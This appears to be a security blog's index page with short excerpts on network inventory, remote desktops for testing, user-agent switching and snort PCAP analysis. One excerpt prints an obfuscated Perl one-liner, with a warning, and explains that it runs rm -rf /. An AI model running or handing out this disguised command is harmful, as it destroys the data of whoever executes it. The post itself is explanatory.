Curiosity in Practice
I am often asked “What is the easiest thing companies can do to secure their networks?” and my answer is always always “Know what is on your network.” While that is simple advice it is a lot harder to implement. One company I was working with was looking at a system to do … Read more
I use DigitalOcean for a majority of my testing and from time to time I need a desktop environment to run some of my tools (like burp). After spending much more time than I want to admit I have it down to these 10 commands to bring a Ubuntu + Mate + XRDP desktop to a Ubuntu Droplet : … Read more
Earlier this week someone sent me this one line perl script (that you shouldn’t run): perl -e ‘$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/” -;;s;;$_;see’ Due to some really clever code obfuscation it runs rm -rf /. You can deobfuscate (is that word?) with this: perl -e ‘s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/” -;;print “$_\n”‘ While trying to figure out how this code code I stumbled … Read more
Recently I have been working with some NGFW tools to automatically detect and block when someone is scraping, brute forcing or “load testing” your website. I quickly ran into a problem where none of the tools I use would allow me to quickly change user agents so I put together a couple of quick … Read more
One of the first things I like to do when I start looking at a PCAP during an investigation is run it through snort to see if it finds anything suspicious. You can easily do this at the command line with snort -dv -r test.pcap but the output is not great. I have been using a tool called … Read more